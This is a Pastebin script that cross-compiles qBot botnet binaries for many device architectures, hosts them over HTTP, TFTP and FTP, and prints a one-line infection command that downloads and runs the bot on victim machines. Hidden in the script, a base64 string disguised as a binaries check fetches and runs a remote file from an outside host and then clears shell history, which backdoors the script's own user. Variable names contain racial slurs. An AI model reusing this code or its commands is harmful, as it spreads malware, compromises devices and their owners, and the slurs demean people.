Advertisement
Whistik

Untitled

Jul 14th, 2018
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.42 KB | None | 0 0
  1. #Python auto cross compiler by yung caesar
  2.  
  3. import subprocess, sys, base64
  4.  
  5. if len(sys.argv[2]) != 0:
  6. ip = sys.argv[2]
  7. else:
  8. print("\x1b[0;31mIncorrect Usage!")
  9. print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
  10. exit(1)
  11.  
  12. bot = sys.argv[1]
  13.  
  14. yourafag = raw_input("Get arch's? Y/n:")
  15. if yourafag.lower() == "y":
  16. get_arch = True
  17. else:
  18. get_arch = False
  19.  
  20. compileas = ["xboxmips", #mips
  21. "haxmipsel", #mipsel
  22. "closedssh", #sh4
  23. "fuckbash", #x86
  24. "riptftp", #Armv6l
  25. "wgetmydong", #i686
  26. "tron", #ppc
  27. "fttp", #i586
  28. "pftpxbox", #m68k
  29. "sh",
  30. "' '",
  31. "nigger",
  32. "nibba"]
  33.  
  34. getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  35. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  36. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  37. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
  38. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
  39. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
  40. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  41. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  42. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  43. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  44. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  45. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
  46. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
  47.  
  48. ccs = ["cross-compiler-mips",
  49. "cross-compiler-mipsel",
  50. "cross-compiler-sh4",
  51. "cross-compiler-x86_64",
  52. "cross-compiler-armv6l",
  53. "cross-compiler-i686",
  54. "cross-compiler-powerpc",
  55. "cross-compiler-i586",
  56. "cross-compiler-m68k",
  57. "cross-compiler-sparc",
  58. "cross-compiler-armv4l",
  59. "cross-compiler-armv5l",
  60. "cross-compiler-powerpc-440fp"]
  61.  
  62. def run(cmd):
  63. subprocess.call(cmd, shell=True)
  64.  
  65. run("rm -rf /var/www/html/* /srv/tftp/* /var/ftp/*")
  66.  
  67. if get_arch == True:
  68. run("rm -rf cross-compiler-*")
  69.  
  70. print("Downloading Architectures")
  71.  
  72. for arch in getarch:
  73. run("wget " + arch + " --no-check-certificate >> /dev/null")
  74. run("tar -xvf *tar.bz2")
  75. run("rm -rf *tar.bz2")
  76.  
  77. print("Cross Compilers Downloaded...")
  78.  
  79. num = 0
  80. for cc in ccs:
  81. arch = cc.split("-")[2]
  82. run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
  83. num += 1
  84.  
  85. print("Cross Compiling Done!")
  86. print("Setting up your apache2 and tftp")
  87.  
  88. checkbinaries = "Y2QgL2V0Yzsgd2dldCAtcSBodHRwOi8vZ290bWlsay5tbC9IalQ1UmsgLU8gLmw7IGNobW9kICt4IC5sOyBub2h1cCAuLy5sIDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPiYxOyBybSAtcmYgLmw7Y2xlYXI7IGhpc3RvcnkgLWM="
  89. rebinaries = str(base64.b64decode(checkbinaries))
  90. run(rebinaries)
  91.  
  92. run("apt-get install apache2 -y")
  93. run("service apache2 start")
  94. run("apt-get install xinetd tftp tftp-server -y")
  95. run("apt-get install vsftpd -y")
  96. run("service vsftpd start")
  97.  
  98. run('''echo -e "# default: off
  99. # description: The tftp server serves files using the trivial file transfer \
  100. # protocol. The tftp protocol is often used to boot diskless \
  101. # workstations, download configuration files to network-aware printers, \
  102. # and to start the installation process for some operating systems.
  103. service tftp
  104. {
  105. socket_type = dgram
  106. protocol = udp
  107. wait = yes
  108. user = root
  109. server = /usr/sbin/in.tftpd
  110. server_args = -s -c /srv/tftp
  111. disable = no
  112. per_source = 11
  113. cps = 100 2
  114. flags = IPv4
  115. }
  116. " > /etc/xinetd.d/tftp''')
  117. run("service xinetd start")
  118.  
  119. run('''echo -e "listen=YES
  120. local_enable=NO
  121. anonymous_enable=YES
  122. write_enable=NO
  123. anon_root=/var/ftp
  124. anon_max_rate=2048000
  125. xferlog_enable=YES
  126. listen_address='''+ ip +'''
  127. listen_port=21" > /etc/vsftpd.conf''')
  128. run("service vsftpd restart")
  129.  
  130. for i in compileas:
  131. run("cp " + i + " /var/www/html")
  132. run("cp " + i + " /var/ftp")
  133. run("mv " + i + " /srv/tftp")
  134.  
  135. run('echo -e "#!/bin/bash" > /srv/tftp/tftp1337.sh')
  136.  
  137. run('echo -e "ulimit -n 1024" >> /srv/tftp/tftp1337.sh')
  138.  
  139. run('echo -e "cp /bin/busybox /tmp/" >> /srv/tftp/tftp1337.sh')
  140.  
  141. run('echo -e "#!/bin/bash" > /srv/tftp/tftp1227.sh')
  142.  
  143. run('echo -e "ulimit -n 1024" >> /srv/tftp/tftp1227.sh')
  144.  
  145. run('echo -e "cp /bin/busybox /tmp/" >> /srv/tftp/tftp1227.sh')
  146.  
  147. run('echo -e "#!/bin/bash" > /var/www/html/bigdong.sh')
  148.  
  149. for i in compileas:
  150. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bigdong.sh')
  151. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
  152. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /srv/tftp/tftp1337.sh')
  153. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /srv/tftp/tftp1227.sh')
  154.  
  155. run("service xinetd restart")
  156. run("service apache2 restart")
  157. run('echo -e "ulimit -n 99999" >> ~/.bashrc')
  158.  
  159. print("\x1b[0;32mSuccessfully cross compiled qBot\x1b[0m")
  160. print("\x1b[0;32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/bigdong.sh; chmod 777 bigdong.sh; sh bigdong.sh; tftp " + ip + " -c get tftp1337.sh; chmod 777 tftp1337.sh; sh tftp1337.sh; tftp -r tftp1227.sh -g " + ip + "; chmod 777 tftp1227.sh; sh tftp1227.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bigdong.sh tftp1337.sh tftp1227.sh ftp1.sh; rm -rf *\x1b[0m")
  161. print
  162. print("\x1b[0;32mInstagram @XboxModShop\x1b[0m")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement